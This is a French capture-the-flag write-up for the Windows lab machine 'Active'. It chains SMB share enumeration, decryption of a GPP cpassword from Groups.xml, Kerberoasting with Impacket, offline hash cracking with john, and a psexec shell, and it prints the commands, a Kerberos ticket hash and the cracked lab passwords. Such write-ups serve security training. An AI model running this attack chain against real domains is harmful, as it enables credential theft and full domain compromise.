



Introduction

Active est une box Windows dont l'adresse IP est 10.10.10.100.

Compétences mises en œuvre :

- Enumération des ports et services d'un ordinateur distant.
- Exploration de dossiers partagés SMB.
- Exploitation d'un fichier de configuration de GPO (groups.xml).
- Administrateur via une attaque Kerberoast.

Enumération initiale

Nous commençons par l'énumération des ports et services avec **nmap** :

```
$ nmap -T4 -A 10.10.10.100
```

```
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
|_ dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2020-10-17 13:44:24Z)
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp    open  ldap             Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
49152/tcp  open  msrpc            Microsoft Windows RPC
49153/tcp  open  msrpc            Microsoft Windows RPC
49154/tcp  open  msrpc            Microsoft Windows RPC
49155/tcp  open  msrpc            Microsoft Windows RPC
49157/tcp  open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc            Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
```

Plusieurs ports d'ouverts :

- **53** pour un service **DNS**.
- **88** pour un service **Kerberos**.
- **135** pour du **msrpc**, il permet les appels de procédures RPC.
- **139** pour du **netbios-ssn**, il permet la découverte et la connexion des voisins dans le réseau.
- **389** et **3268** pour un service d'annuaire (**Microsoft AD**).
- **445** pour un service **SMB**.
- **464** pour un service **kpasswd**, qui correspond à kerberos change-password protocol.
- **636** et **3269** indique **tcpwrapped**, cela veut dire qu'il y a un service en écoute mais qu'on n'a pas l'autorisation de s'y connecter.
- Tout les autres ports sont pour du RPC.

D'après nmap, la machine distante est un serveur Windows 2008.

Obtenir un accès utilisateur

Vu que le port **445** est ouvert nous allons énumérer si des dossiers sont partagés :

```
$ enum4linux 10.10.10.100
```

```
=====
|   Share Enumeration on 10.10.10.100   |
=====
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

  Sharename      Type      Comment
  -----
  ADMIN$         Disk      Remote Admin
  C$              Disk      Default share
  IPC$           IPC       Remote IPC
  NETLOGON       Disk      Logon server share
  Replication    Disk      Logon server share
  SYSVOL         Disk      Logon server share
  Users          Disk
SMB1 disabled -- no workgroup available
```

Nous allons commencer avec le dossier **Replication**, nous nous connectons et l'explorons :

```
$ smbclient -N -U "" //10.10.10.100/Replication
\> cd active.htb
\> cd Policies
\> cd {31B2F340-016D-11D2-945F-00C04FB984F9}
\> cd MACHINE
\> cd Preferences
\> cd Groups
\> get Groups.xml
```

Des GPO sont utilisées dans l'environnement Windows, nous pouvons alors trouver le fichier **Groups.xml** qui contient les données suivantes :

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS"
image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" des
cription="" cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChang
e="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Nous avons un **name (SVC_TGS)** et un **cpassword**. Mais le **cpassword** est un hash du vrai mot de passe du compte **SVC_TGS**, un dépôt github existe pour décrypter le mot de passe mais nous allons utiliser l'outil **gpp-decrypt** :

```
$ gpp-decrypt <données>
```

```
└─ [★] $ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18
```

Nous avons donc un compte du domaine : **SVC_TGS/GPPstillStandingStrong2k18**, nous pouvons alors nous connecter avec ce dernier, récupérer et afficher **user.txt** :

```
$ smbclient -U "active.htb\SVC_TGS" //10.10.10.100/Users
\> get SVC_TGS\Desktop\user.txt
$ cat user.txt
```

```
└─ [★] $ cat user.txt
86d67d8ba232... 159e983
```

Obtenir un accès Administrateur

Sur le port 88, le service Kerberos est existant, maintenant que nous avons un compte utilisateur, nous pouvons tenter l'attaque **Kerberoasting**. Elle est basée sur la demande de TGS et sur les attributs SPN de compte d'Active Directory.

Nous allons utiliser un outil de la suite **Impacket** pour obtenir le SPN d'un utilisateur du domaine, puis **john** pour pouvoir le cracker, par chance c'est le compte administrateur qui dispose d'un SPN :

```
$ sudo ./GetUserSPNs.py -request active.htb/SVC_TGS -o user.txt
$ cat user.txt
$ john user.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
➜ (*)$ sudo ./GetUserSPNs.py -request active.htb/SVC_TGS -o user.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-----
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2018-07-30 19:17:40.656520
```

```
➜ (*)$ cat user.txt
$krb5tgt$23$*Administrator$ACTIVE.HTB$active/CIFS-445$dc14f5c427719f653ded878ebbb001730$46426dde9f8d77b00b78132b1b568719b55efff0026146
2554fcaa47d12c399ef11aef17bc1ff6ae291530080669454244bc994ab0fd407de969d24fd698050cd0ed65da9439d36c150d82d47f7a106a1adb3e8c0e76ff4034a
14b5abecbb7115c83d05f5f25b4c2e46f5a61f7691c6336c3f4cca25a102b4ca9d631a5e5a5be4f7452ed04ab3dcb27b086c218ddad271e31e4fd79d16cb05dd481f49
3e66db75f791ea0d4444a70d7107d6f8301c978b3273c0ef5f9ccf0c253282076d6046efb491967f00e69ed16c0de512fa775761992efa3052f5992f3a704d8e6905
a8abfa61a45d161d0395bdfaf2e3dea3073f7b4705f721ab1c2accf6829dd76198136f309752d0df02773d907e8cb05d70e1c1793a5f4e2ed992e1e897fca38c7dfbd
7c3ad7fbfd2391cf5c8b024ef16e68830541166ebb8477664a46b34445d2381101804914a450c1fd723a72ceaa4ded8a5fb1a6f3d9de20c901a84fc12014a6f5541f
7593aaec3d661adda22c413b6ff22b25383cd49274c444ce4d1fc89629a34e5a1f04e47afa7fbb61668d848e2fa6a21511800e427701f065e893907b528555afbbd29
3104834863e51f9799f7b0669bdfaf3a8731aae076cb3bd8ee2f3a580902dfdd7cc10237a487763580d89769b09c5f7094d849bde9518a11ff08847ffbc41049a8641
ab595c860b6fc6623d86a8d2768260fc9afac0cc371fb655327fed588f628c5f6e293ce746aa779142fbef994c7f77561981a8ead72d91d355c2ae5e2bfd064ad7b9
93da858e2cfaf613709f9de24cc579a1b57d4a8c9c22b42bddc2445d06d9711e513e5a5e3eb5c96cc090d27d0e2af85a7f31f2f1c1ff00fcaba81f8e82c69c3d345ead8
b7b6b10ccca89be9e2b727fe0dd6bfff5cae3c7262e6e8af612f8bcb1e31811859f532465bfe565ec395f51400d2acaf7fcbec162c071eb243f472161ffa7f1063fecb
4e21560fffbbe39d919c1a93a55d29e40895be7b0a9d3d5d9059740559b8944d0156755a4aedf5a367cb4973123ecd9d5af591b8cc9d43a4fcc0e9c5b9b9f0deb2bb33
88693060c06162f618123c812b9f49b67e04b470362f379368d192ff93210afdae848805a91d9129f933975f5fe38029d87c1a23a5eadd81dad1f14cb0b897796bc
af30e28568b74c845d7a314c99e348d2c5906161bdf15b0687be08d27460ccb12c2c3188a9390e23bce9487b46d77c09cd3c4525c5e1c068693086368af682
```

```
➜ (*)$ sudo john user.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgt, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
lg 0:00:00:05 DONE (2020-10-18 13:19) 0.1818g/s 1915Kp/s 1915Kc/s 1915Kc/s Tiffani1432..Thurman16
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Nous avons le mot de passe du compte **Administrator** : **Ticketmaster1968**. Il nous suffit de nous connecter avec **Psexec** sur la box pour lire le fichier **root.txt** :

```
$ Psexec.py administrator@active.htb
C:\> type C:\Users\Administrator\Desktop\root.txt
```

```
➜ (*)$ sudo python psexec.py administrator@active.htb
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file YochICdE.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service bLVf on active.htb.....
[*] Starting service bLVf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
b5fc76
2d54d0f708b
```